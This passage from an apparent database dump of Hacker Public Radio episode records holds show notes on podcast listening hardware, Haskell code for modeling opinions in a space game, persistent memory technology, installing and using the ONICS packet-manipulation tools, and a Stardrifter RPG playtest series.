target=\"_blank\">hpr3167</a></strong>\n(2020-09-22) \"<em>A ramble with the Pentland Squires (part 1)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3167#1\" target=\"_blank\">Comment 1</a>:\nAaron on 2020-09-27:\n\"Nice conversation, thanks for sharing it\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3167#2\" target=\"_blank\">Comment 2</a>:\nZen_Floater2 on 2020-09-27:\n\"Squirrels love local chit-chat\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3167#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2020-09-29:\n\"Thanks for the feedback\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3168#comments\" target=\"_blank\">hpr3168</a></strong>\n(2020-09-23) \"<em>FreeBSD Jails and iocage</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=342\" target=\"_blank\">norrist</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=3168#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2020-09-27:\n\"Why an additional disk/zpool?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=3168#2\" target=\"_blank\">Comment 2</a>:\nnorrist on 2020-09-28:\n\"2nd disk for iocage\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2020-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to the following contributor for sending in updates in the past month:<br />\n<b><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\">Windigo</a></b></p>\n<p>Over the period tags and/or summaries have been added to 7 shows which were without them.</p>\n<p>If you would like to contribute to the tag/summary project visit the summary page at <a href=\"https://hackerpublicradio.org/report_missing_tags.php\" class=\"uri\">https://hackerpublicradio.org/report_missing_tags.php</a> and follow the instructions there.</p>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2889,'2019-08-29','Describing how I listen to podcasts PART 2',1052,'In this episode I cover the hardware I\'ve used over the years to listen to podcasts.','<h3 id=\"short-summary\">Short Summary</h3>\r\n<p>In this series I cover how I listen to podcasts and how the process has change over the years. In this episode I cover the hardware I’ve used over the years to listen to podcasts.</p>\r\n<ul>\r\n<li><p>Link to HPR 2112 (Home Server) episode mentioned in this podcast<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2112\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2112</a></p></li>\r\n<li><p>Link to HPR 2106 (Hpodder) Episode mentioned in this podcast<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=2106\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2106</a></p></li>\r\n<li><p>The cordless headphones I use are analogue cordless headphones they operate in the UHF 860 MHz RF spectrum and use Frequency modulation</p></li>\r\n<li><p>(Picture 01) shows a pair of JVC cordless headphones, these were my first pair of cordless headphones, from memory they were reasonably comfortable and lasted a reasonably long time, they eventually gave way when the strap along the top completely split if you look carefully you can see evidence of this in the picture. <img src=\"https://hackerpublicradio.org/eps/hpr2889/Picture-01.JPG\" alt=\"Picture-01.JPG\" /></p></li>\r\n<li><p>I think my 2nd set pair of cordless headphones were made by Phillips, unfortunately I don’t have a picture of these. The headphones were too big and kept falling from my head.</p></li>\r\n<li><p>(Picture 02) shows a pair of Sony headphones that I can’t even remember owning! I’ve lost count of how many cordless headphones I’ve owned over the years, these were also too big and regularly fell off my head, there are probably other pairs which I have forgotten about. It took a lot of trial an error to find a pair that would fit properly. <img src=\"https://hackerpublicradio.org/eps/hpr2889/Picture-02.JPG\" alt=\"Picture-02.JPG\" /></p></li>\r\n<li><p>I think my 3rd set of cordless headphones were a cheap pair from Liddles, unfortunately I don’t have a picture of these again these were also too big.</p></li>\r\n<li><p>(Picture 03) Shows my current set of cordless headphones, unfortunately my camera refused to work while taking this picture so you’ll not be able to identify the manufacturer which is a great pity as they are absolutely great also the lighting in here is very bad so you won’t be able to make out the writing printed on them :) <img src=\"https://hackerpublicradio.org/eps/hpr2889/Picture-03.JPG\" alt=\"Picture-03.JPG\" /></p></li>\r\n<li><p>Compaq N610C laptop<br />\r\n<img src=\"https://1.bp.blogspot.com/_73lLV6srqwY/SxB7dASme9I/AAAAAAAAAVU/QsNP-O2chaU/s1600/missionaccomplished.jpg\" alt=\"https://1.bp.blogspot.com/_73lLV6srqwY/SxB7dASme9I/AAAAAAAAAVU/QsNP-O2chaU/s1600/missionaccomplished.jpg\" /></p></li>\r\n<li><p>Screen<br />\r\n<a href=\"https://en.wikipedia.org/wiki/GNU_Screen\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_Screen</a></p></li>\r\n<li><p>EEE PC Laptop<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a></p></li>\r\n<li><p>Pictures (04 and 05) are of my Nokia N810 <img src=\"https://hackerpublicradio.org/eps/hpr2889/Picture-04.JPG\" alt=\"Picture-04.JPG\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2889/Picture-05.JPG\" alt=\"Picture-05.JPG\" /></p></li>\r\n<li><p>Below is a link from wikipedia covering the Nokia N810.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nokia_N810\" class=\"uri\">https://en.wikipedia.org/wiki/Nokia_N810</a></p></li>\r\n<li><p>Links to shows where klaatu references the Nokia N770 which came out before the Nokia N810 but is very similar<br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0228\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=0228</a><br />\r\n<a href=\"https://hackerpublicradio.org/eps.php?id=0416\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=0416</a></p></li>\r\n<li><p>Nexus 7, first generation<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Nexus_7_(2012)\" class=\"uri\">https://en.wikipedia.org/wiki/Nexus_7_(2012)</a></p></li>\r\n<li><p>Psion 3C<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c\" class=\"uri\">https://en.wikipedia.org/wiki/Psion_Series_3#Psion_Series_3c</a></p></li>\r\n<li><p>Raspberry pi<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Raspberry_Pi\" class=\"uri\">https://en.wikipedia.org/wiki/Raspberry_Pi</a></p></li>\r\n</ul>\r\n',201,0,1,'CC-BY-SA','Audio, Podcasts, Linux, Command Line, PDA, hardware',0,0,1),
(2908,'2019-09-25','Modeling opinions in space game',2104,'tuturto talks about modeling opinions','<p>We continue with people, this time focusing on opinions. This episode has somewhat more code than previous one, so following along with the shownotes might be a good idea. I’m trying to minimize amount of code I read out aloud.</p>\r\n<h2 id=\"intro\">Intro</h2>\r\n<p>One person’s opinion of another is expressed as <code>OpinionScore</code> that ranges from -100 to 100.</p>\r\n<p>Computing the score is based on intelligence player has available to them. Internally we have <code>ReportResult</code> that tracks score, reasons for the score and confidence level about the results. It’s defined as:</p>\r\n<pre><code>data ReportResult =\r\n    FeelingLevel OpinionScore\r\n    | ReasonsLevel OpinionScore [OpinionReason]\r\n    | DetailedLevel OpinionScore [OpinionReason]\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>We’re going to be adding up these results quite a bit, so we define <code>SemiGroup</code> and <code>Monoid</code> instances for it. When two results are combined, scores are added together, lists of reasons are concatenated and the lowest confidence level is used. This is written as:</p>\r\n<pre><code>instance Semigroup ReportResult where\r\n    (FeelingLevel s1) &lt;&gt; (FeelingLevel s2) = FeelingLevel (s1 &lt;&gt; s2)\r\n    (FeelingLevel s1) &lt;&gt; (ReasonsLevel s2 _) = FeelingLevel (s1 &lt;&gt; s2)\r\n    (FeelingLevel s1) &lt;&gt; (DetailedLevel s2 _) = FeelingLevel (s1 &lt;&gt; s2)\r\n    (ReasonsLevel s1 _) &lt;&gt; (FeelingLevel s2) = FeelingLevel (s1 &lt;&gt; s2)\r\n    (ReasonsLevel s1 r1) &lt;&gt; (ReasonsLevel s2 r2) = ReasonsLevel (s1 &lt;&gt; s2) (r1 &lt;&gt; r2)\r\n    (ReasonsLevel s1 r1) &lt;&gt; (DetailedLevel s2 r2) = ReasonsLevel (s1 &lt;&gt; s2) (r1 &lt;&gt; r2)\r\n    (DetailedLevel s1 _) &lt;&gt; (FeelingLevel s2) = FeelingLevel (s1 &lt;&gt; s2)\r\n    (DetailedLevel s1 r1) &lt;&gt; (ReasonsLevel s2 r2) = ReasonsLevel (s1 &lt;&gt; s2) (r1 &lt;&gt; r2)\r\n    (DetailedLevel s1 r1) &lt;&gt; (DetailedLevel s2 r2) = DetailedLevel (s1 &lt;&gt; s2) (r1 &lt;&gt; r2)\r\n\r\n\r\ninstance Monoid ReportResult where\r\n    mempty = DetailedLevel mempty mempty</code></pre>\r\n<h2 id=\"opinion-based-on-traits\">Opinion based on traits</h2>\r\n<p>Current system compares two lists of traits. For example, two brave characters like each other slightly better than if one of them would be coward. Comparison is done by <code>traitPairOpinion</code> function, which definition I’m omitting as it’s rather long and not too interesting. It’s signature is: <code>traitPairOpinion :: TraitType -&gt; TraitType -&gt; Maybe (OpinionScore, OpinionReason)</code>. So, given two traits, tells how that pair affects to opinion and reasoning for it.</p>\r\n<p>In order to have nicer format for out data, we introduce a helper function:</p>\r\n<pre><code>traitPairScore :: TraitType -&gt; TraitType -&gt; (OpinionScore, [OpinionReason])\r\ntraitPairScore a b =\r\n    case traitPairOpinion a b of\r\n            Nothing -&gt;\r\n                mempty\r\n\r\n            Just (s, r) -&gt;\r\n                (s, [r])</code></pre>\r\n<p>This is because <code>(OpinionScore, OpinionReason)</code> isn’t monoid, but <code>(OpinionScore, [OpinionReason])</code> is, which means we can combine them with <code>&lt;&gt;</code>.</p>\r\n<p>Actual score calculation based on traits, we do it like this:</p>\r\n<pre><code>traitScore :: [TraitType] -&gt; [PersonIntel] -&gt; [TraitType] -&gt; [PersonIntel] -&gt; ReportResult\r\ntraitScore originatorTraits originatorIntel targetTraits targetIntel =\r\n    if (Traits `elem` originatorIntel) &amp;&amp; (Traits `elem` targetIntel)\r\n        then DetailedLevel score reasons\r\n        else FeelingLevel score\r\n    where\r\n        (score, reasons) = mconcat $ traitPairScore &lt;$&gt; originatorTraits &lt;*&gt; targetTraits</code></pre>\r\n<p>The interesting part is <code>mconcat $ traitPairScore &lt;$&gt; originatorTraits &lt;*&gt; targetTraits</code>. Function <code>traitPairScore</code> expects two <code>TraitType</code> values as parameters, but we’re calling it with two lists of such values. First step is to use <code>&lt;$&gt;</code> and list of values, which produces a list of partially applied functions. Second step is to use <code>&lt;*&gt;</code> to call each and every of those functions with values from second list. Result is a list of results that were obtained by calling <code>traitPairScore</code> with every combination of elements from two lists. Final step is to take this list of <code>ReportResult</code> values and combine them to single result with <code>mconcat</code>.</p>\r\n<p>Finally, based on available intel, <code>ReportResult</code> of correct level is created.</p>\r\n<h2 id=\"opinion-based-on-relations\">Opinion based on relations</h2>\r\n<p>Score based on relations is similar, but a bit convoluted (or rather, a lot more).</p>\r\n<p>Intel here has two dimensions. One of them is relationship visibility (is it public, family relation or secret relation), another is level of detail: <code>BaseOpinionIntel</code>, <code>ReasonsForOpinions</code> and <code>DetailedOpinions</code>.</p>\r\n<p><code>relationScore</code> is the entry point for calculation:</p>\r\n<pre><code>relationScore :: [PersonIntel] -&gt; [Relation] -&gt; ReportResult\r\nrelationScore intel relations =\r\n    mconcat $ (relReport oIntel score) &lt;$&gt; visibilities\r\n    where\r\n        score = mconcat $ (relationTypeScore . relationType) &lt;$&gt; relations\r\n        visibilities = mkUniq $ relationVisibility &lt;$&gt; relations\r\n        oIntel = mkUniq $ mapMaybe (\\case\r\n                                        Opinions x -&gt;\r\n                                            Just x\r\n\r\n                                        _ -&gt;\r\n                                            Nothing)\r\n                                   intel</code></pre>\r\n<p>Code has to take into account of what level of intel we have about opinions and on what detail: <code>oIntel</code>. On the other hand, <code>visibilities</code> is unique relation visibilities that exists in relations in this particular case and <code>score</code> is computed based on relations.</p>\r\n<p>Function <code>relReport</code> creates final report. It takes into account on what level of intel we have, by doing: <code>matching = safeHead $ reverse $ sort $ filter (\\x -&gt; opinionIntelVisibility x == visibility) intel</code>. This finds highest level intel we have about this particular relationship visibility. Based on the highest level of available intel <code>ReportResult</code> is created with correct confidence level. Ie. if there’s no specific intel, we get <code>FeelingLevel</code> report. If there’s intel about why particular person has certain opinion, we get <code>ReasonsLevel</code> report. Whole definition of function is below:</p>\r\n<pre><code>relReport :: [OpinionIntel]\r\n    -&gt; (OpinionScore, [OpinionReason])\r\n    -&gt; RelationVisibility\r\n    -&gt; ReportResult\r\nrelReport intel (score, reasons) visibility =\r\n    case matching of\r\n        Nothing -&gt;\r\n            FeelingLevel score\r\n\r\n        Just (BaseOpinionIntel _) -&gt;\r\n            FeelingLevel score\r\n\r\n        Just (ReasonsForOpinions _) -&gt;\r\n            ReasonsLevel score reasons\r\n\r\n        Just (DetailedOpinions _) -&gt;\r\n            DetailedLevel score reasons\r\n    where\r\n        matching = safeHead $ reverse $ sort $ filter (\\x -&gt; opinionIntelVisibility x == visibility) intel</code></pre>\r\n<h2 id=\"opinion-report\">Opinion report</h2>\r\n<p>To pull all this together, we combine results of these two functions. Based on given information, it’ll compute <code>traitsRep</code> and <code>relationsRep</code>. These two are combined with <code>&lt;&gt;</code> as explained earlier in episode:</p>\r\n<ul>\r\n<li>scores are summed up</li>\r\n<li>reason lists are concatenated</li>\r\n<li>confidence level is lowest of two</li>\r\n</ul>\r\n<pre><code>opinionReport :: [TraitType]\r\n    -&gt; [PersonIntel]\r\n    -&gt; [TraitType]\r\n    -&gt; [PersonIntel]\r\n    -&gt; [Relation]\r\n    -&gt; OpinionReport\r\nopinionReport originatorTraits originatorIntel targetTraits targetIntel targetRelations =\r\n    reportResultToOpinionResult $ traitsRep &lt;&gt; relationsRep\r\n    where\r\n        traitsRep = traitScore originatorTraits originatorIntel targetTraits targetIntel\r\n        relationsRep = relationScore originatorIntel targetRelations</code></pre>\r\n<p>Finally <code>ReportResult</code> is transformed to <code>OpinionReport</code>, which can be sent to client.</p>\r\n<p><code>OpinionReport</code> has three levels:</p>\r\n<ul>\r\n<li><code>BaseOpinionReport</code> only tells if feeling is positive, neutral or negative</li>\r\n<li><code>OpinionReasonReport</code> has feeling and in addition to reasoning</li>\r\n<li><code>DetailedOpinionReport</code> has exact (more or less) score and reasoning</li>\r\n</ul>\r\n<pre><code>data OpinionReport =\r\n    BaseOpinionReport OpinionFeeling\r\n    | OpinionReasonReport OpinionFeeling [OpinionReason]\r\n    | DetailedOpinionReport OpinionScore [OpinionReason]\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>Actual transformation is shown here:</p>\r\n<pre><code>reportResultToOpinionResult :: ReportResult -&gt; OpinionReport\r\nreportResultToOpinionResult (FeelingLevel score) =\r\n    BaseOpinionReport $ scoreFeeling score\r\n\r\nreportResultToOpinionResult (ReasonsLevel score reasons) =\r\n    OpinionReasonReport (scoreFeeling score) reasons\r\n\r\nreportResultToOpinionResult (DetailedLevel score reasons) =\r\n    DetailedOpinionReport (clamp (-100) 100 score) reasons</code></pre>\r\n<h2 id=\"note-about-incorrectness\">Note about incorrectness</h2>\r\n<p>Reports are based on intel and this might lead into incorrect results. In case of player’s own avatar, they have full intel (ie. they know all relations, all traits and so on.) Therefore opinion about some other person is based wholly on what we know about them.</p>\r\n<p>But in case of gauging somebody else’s opinion about us or person A’s opinion of person B, when A or B isn’t us, there’s chance of misjudging things. We might not know everything about them, or we might know more about A than B knows about them. In short, opinion shown for player, is just best effort guess.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Questions, comments and feedback is welcome. Even better is if you record your own HPR episode. Best way to reach me nowadays is by email or in fediverse, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, game development',0,0,1),
(2903,'2019-09-18','What is PMEM',453,'Persistent memory (PMEM), also known as storage-class memory','<h3 id=\"what-is-persistent-memory\">What is persistent memory?</h3>\r\n<p>In brief, PMEM is next generation memory technology whose data transfer speed is as good as DRAM (50-300 ns, 100 times faster than SSDs) and unlike DRAM, it can even retain the data after reboots.</p>\r\n<p>In detail persistent memory (PMEM) is a solid-state high-performance byte-addressable memory device that resides on the memory bus. Being on the memory bus allows PMEM to have DRAM-like access to data, which means that it has nearly the same speed and latency of DRAM and the nonvolatility of NAND flash. NVDIMM (nonvolatile dual in-line memory module) and Intel 3D XPoint DIMMs (also known as Optane DC persistent memory modules) are two examples of persistent memory technologies.</p>\r\n<p>Persistent memory, such as Intel® Optane™ DC Persistent Memory, provides a future-proofed solution. Installed alongside traditional RAM, PMEM has many of the advantages of DRAM, including low latency access. But it comes in greater capacities. Intel® Optane™ DC, for example, will be available in 128GB, 256GB and 512GB sizes.</p>\r\n<h3 id=\"persistent-memory-benefits\">Persistent Memory Benefits</h3>\r\n<p>Persistent memory in the data center allows applications to run without incurring the latency penalty of going out to storage.</p>\r\n<p>The main advantages of persistent memory include:</p>\r\n<ul>\r\n<li>Provides access latencies less than those of flash SSDs.</li>\r\n<li>Increases throughput more than flash storage.</li>\r\n<li>Cheaper than DRAM.</li>\r\n<li>PMEM is cacheable. This is a huge advantage over PCIe interconnect, which cannot be cached in the CPU.</li>\r\n<li>Real-time access to data; allows ultrafast access to large datasets.</li>\r\n<li><p>Data persists in memory after power interruption, like flash.</p></li>\r\n<li>Persistent Memory Use Cases\r\n<ul>\r\n<li>Fraud detection</li>\r\n<li>Cyberthreat analysis</li>\r\n<li>Web-scale personalization</li>\r\n<li>Financial trading</li>\r\n<li>Internet of Things (IoT)</li>\r\n</ul></li>\r\n</ul>\r\n<pre><code>    Non       \\\r\n    Volatile  /- Non-volatile: you plug it off and on again, and the Information is still there\r\n\r\n    Double    \\\r\n    In-line   | DIMM: This the HW format\r\n    Memory    |\r\n    Module    /</code></pre>\r\n<h3 id=\"persistent-memory-vs.-nvram\">Persistent Memory Vs. NVRAM</h3>\r\n<p>Nonvolatile random-access memory (NVRAM) is random-access memory that retains its information even if there is no power. If power is lost before the data is written to disk, you don’t lose the data because it can be recovered from NVRAM. NVRAM uses battery backup to keep data persistent. During this time it can flash the data out to a flash device that is attached directly. In most cases, NVRAM resides on the PCIe bus.</p>\r\n<p>PMEM or NVDIMM-N can also be backed up by battery. It resides only on the memory bus.</p>\r\n<h3 id=\"where-pmem-is-going\">Where PMEM is going</h3>\r\n<p>It’s no wonder that this sort of ‘in-memory’ computing has exploded in recent years. According to Gartner, 75 percent of cloud-native application development will use in-memory/PMEM computing by 2019, and by 2021, at least 25 percent of large and global organisations will adopt platforms using in-memory technologies.</p>\r\n<h3 id=\"drawbacks-of-pmem\">Drawbacks of PMEM</h3>\r\n<ul>\r\n<li>PMEM is a local store.</li>\r\n<li>Host failures can result in loss of availability.</li>\r\n<li>In the case of catastrophic errors you may lose all data and must take manual steps to reformat the PMEM.</li>\r\n</ul>\r\n<h2 id=\"reference-notes\">Reference Notes</h2>\r\n<ul>\r\n<li><a href=\"https://www.netapp.com/us/info/what-is-persistent-memory.aspx\" class=\"uri\">https://www.netapp.com/us/info/what-is-persistent-memory.aspx</a></li>\r\n<li><a href=\"https://www.intel.co.uk/content/www/uk/en/it-management/cloud-analytic-hub/pmem-next-generation-storage.html\" class=\"uri\">https://www.intel.co.uk/content/www/uk/en/it-management/cloud-analytic-hub/pmem-next-generation-storage.html</a></li>\r\n<li><a href=\"https://vthinkbeyondvm.com/vsphere-6-7-what-is-pmem-and-how-vsphere-drs-works-with-pmem-configured-vms/\" class=\"uri\">https://vthinkbeyondvm.com/vsphere-6-7-what-is-pmem-and-how-vsphere-drs-works-with-pmem-configured-vms/</a></li>\r\n<li><a href=\"https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vsphere.resmgmt.doc/GUID-EB72D358-9C2C-4FBD-81A9-A145E155CE31.html\" class=\"uri\">https://docs.vmware.com/en/VMware-vSphere/6.7/com.vmware.vsphere.resmgmt.doc/GUID-EB72D358-9C2C-4FBD-81A9-A145E155CE31.html</a></li>\r\n<li><a href=\"https://vmsplice.net/~stefan/nvdimm_slides_public.pdf\" class=\"uri\">https://vmsplice.net/~stefan/nvdimm_slides_public.pdf</a></li>\r\n<li><a href=\"https://www.theregister.co.uk/2018/09/07/persistent_memory_whirlwind_is_spinning_up/\" class=\"uri\">https://www.theregister.co.uk/2018/09/07/persistent_memory_whirlwind_is_spinning_up/</a></li>\r\n</ul>\r\n',129,0,0,'CC-BY-SA','Pmem, intel, memory, storage',0,0,1),
(2882,'2019-08-20','ONICS Part 1:  Basic Commands',1364,'In this episode I review some basic commands for manipulating packet captures','<p>Background</p>\r\n<ul>\r\n<li>It\'s been about 6 years since I talked about my project ONICS in HPR 1350</li>\r\n<li>ONICS stands for Open Network Inpection Command Suite</li>\r\n<li>I created ONICS as because I thought it would be neat to have a suite of tools that could manipulate packets on the command line in a way similar to how tools lik sed, awk, grep, cut, and so forth manipulate text.</li>\r\n</ul>\r\n<p>Installing</p>\r\n<ul>\r\n<li>Not currently maintained in any package distributions</li>\r\n<li>Maintainers who are interested in doing so are welcome</li>\r\n<li>Install by source</li>\r\n</ul>\r\n<pre><code>    $ git clone https://gitlab.com/catlib/catlib\r\n    $ cd catlib\r\n    $ make\r\n    $ cd ..\r\n    $ git clone https://gitlab.com/onics/onics\r\n    $ cd onics\r\n    $ ./configure\r\n    $ make\r\n    $ make test\r\n    $ sudo make install\r\n    $ make veryclean\r\n</code></pre>\r\n<ul>\r\n<li>Can always uninstall cleanly from the source directory</li>\r\n</ul>\r\n<pre><code>    $ make uninstall\r\n</code></pre>\r\n<ul>\r\n<li>Alternate to installation is to stop at \'make test\' and then add to \'onics/bin\' and \'onics/scripts\' to your path.</li>\r\n</ul>\r\n<p>Documentation</p>\r\n<ul>\r\n<li><p>Manpages are available in onics/doc directory if you aren\'t installing locally. They are quite extensive.</p></li>\r\n<li><p>If installed locally, starting with:</p></li>\r\n</ul>\r\n<pre><code>    $ man onics\r\n</code></pre>\r\n<p>XPKT Format</p>\r\n<ul>\r\n<li><p>PCAP format is outdated and not very extensible</p>\r\n<ul>\r\n<li>I want to be able to annotate with interface IDs, flow IDs, packet numbers, classification info, header offsets, etc...</li>\r\n</ul></li>\r\n<li><p>First and foremost, the file header prevents just <code>cat</code>ing files together.</p>\r\n<ul>\r\n<li>it makes merging live streams more difficult</li>\r\n<li>pcapng improves things but still has global file header</li>\r\n</ul></li>\r\n</ul>\r\n<p>First Programs</p>\r\n<ul>\r\n<li>Let\'s first capture in the traditional way</li>\r\n</ul>\r\n<pre><code>    $ sudo tcpdump -i eth0 -c 5 -w file1.pcap\r\n</code></pre>\r\n<ul>\r\n<li>First program is to capture packets from the wire:</li>\r\n</ul>\r\n<pre><code>    $ sudo pktin eth0 &gt; file2.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>If not running as root</li>\r\n</ul>\r\n<pre><code>    $ sudo chown myname file1.pcap file2.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Let\'s dump them:</li>\r\n</ul>\r\n<pre><code>    $ tcpdump -r file1.pcap\r\n    $ xpktdump file2.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Now lets convert the PCAP to XPKT</li>\r\n</ul>\r\n<pre><code>    $ pc2xpkt file1.pcap file1.xpkt\r\n      or\r\n    $ pc2xpkt file1.pcap &gt; file1.xpkt\r\n      or\r\n    $ pc2xpkt &lt; file1.pcap &gt; file1.xpkt\r\n      or\r\n    $ cat file1.pcap | pc2xpkt &gt; file1.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Now we can dump file1 using xpktdump:</li>\r\n</ul>\r\n<pre><code>    $ xpktdump file1.xpkt\r\n</code></pre>\r\n<p>Something we can\'t do w/ tcpdump</p>\r\n<ul>\r\n<li>Lets now merge them one after another</li>\r\n</ul>\r\n<pre><code>    $ cat file1.xpkt file2.xpkt &gt; merged.xpkt\r\n    $ xpktdump merged.xpkt\r\n</code></pre>\r\n<ul>\r\n<li>Of course there\'s a simpler way</li>\r\n</ul>\r\n<pre><code>    $ cat file1.xpkt file2.xpkt | xpktdump\r\n</code></pre>\r\n<p>Convert back to pcap:</p>\r\n<ul>\r\n<li>Let\'s convert file2 to PCAP</li>\r\n</ul>\r\n<pre><code>    $ xpkt2pc file2.xpkt file2.pcap\r\n      or\r\n    $ xpkt2pc &lt; file2.xpkt &gt; file2.pcap\r\n      or\r\n    $ xpkt2pc file2.xpkt &gt; file2.pcap\r\n      or\r\n    $ cat file2.xpkt | xpkt2pc &gt; file2.pcap\r\n</code></pre>\r\n<ul>\r\n<li>Let\'s look at the stream using tcpdump:</li>\r\n</ul>\r\n<pre><code>    $ tcpdump -r file2.pcap\r\n</code></pre>\r\n<ul>\r\n<li>If we didn\'t want to actually store as a PCAP</li>\r\n</ul>\r\n<pre><code>    $ xpkt2pc file2.xpkt | tcpdump -r -\r\n</code></pre>\r\n<ul>\r\n<li>Let\'s concatenate and dump using tcpdump</li>\r\n</ul>\r\n<pre><code>    $ cat file1.xpkt file2.xpkt | xpkt2pc | tcpdump -r | less\r\n</code></pre>\r\n<p>Sending packets:</p>\r\n<pre><code>    $ sudo tcpdump -i eth0  # in one terminal\r\n    $ sudo pktout -i eth0 file1.xpkt\r\n      or\r\n    $ sudo pktout -i eth0 &lt; file1.xpkt\r\n      or\r\n    $ cat file1.xpkt | sudo pktout -i eth0\r\n</code></pre>\r\n<p>Summary</p>\r\n<ul>\r\n<li>XPKT is a versatile, extensible, self-contained packet trace format</li>\r\n<li>ONICS\' most basic tools are pktin, pktout, pc2xpkt and xpkt2pc</li>\r\n<li>We\'ve demonstrated how the ONICS design supports leveraging the power of the UNIX command line for packets</li>\r\n<li>This is only the VERY beginning. ONICS has over 20 binaries and 30 scripts for manipulating packets.</li>\r\n</ul>\r\n',259,61,0,'CC-BY-SA','networking, command-line, tools',0,0,1),
(2887,'2019-08-27','Stardrifter RPG Playtest Part 01',2202,'Lostnbronx and friends playtest a new, original RPG system.','<p>\r\nThis episode begins a limited series covering the first playtest of a new role-playing game, based upon my Stardrifter series of books and short stories. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\r\n</p>\r\n<p>\r\nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\r\n</p>\r\n<p>\r\nIn this first episode, as well as the next, we we go over the rules of the game, and discuss them in some detail.\r\n</p>\r\n<p>\r\nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\r\n</p>\r\n',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2892,'2019-09-03','Stardrifter RPG Playtest Part 02',2247,'Lostnbronx and friends playtest a new, original RPG system.','<p>\r\nThis episode is Part 2 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\r\n</p>\r\n<p>\r\nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\r\n</p>\r\n<p>\r\nIn this part, we continue to go over the rules of the game, and discuss them in some detail.\r\n</p>\r\n<p>\r\nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\r\n</p>',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
(2897,'2019-09-10','Stardrifter RPG Playtest Part 03',2446,'Lostnbronx and friends playtest a new, original RPG system.','<p>\r\nThis episode is Part 3 of the Stardrifter role-playing game playtest. The series is composed of two playtest sessions, held earlier this year. They were recorded and chopped into manageable bites, then edited down into separate episodes.\r\n</p>\r\n<p>\r\nThis series is meant to give listeners some insight into the RPG construction process. Playtesting is not the final step, but rather, just another stage. The construction of an RPG can be convoluted, and feedback from players is absolutely vital.\r\n</p>\r\n<p>\r\nIn this part, we continue to go over the rules of the game, and then start into the adventure!\r\n</p>\r\n<p>\r\nSpecial thanks to my playtesters: Klaatu, Thaj, Mark (who was playing Brinn), and Brian!\r\n</p>',107,95,1,'CC-0','rpg, gaming, stardrifter, game construction, playtest',0,0,1),
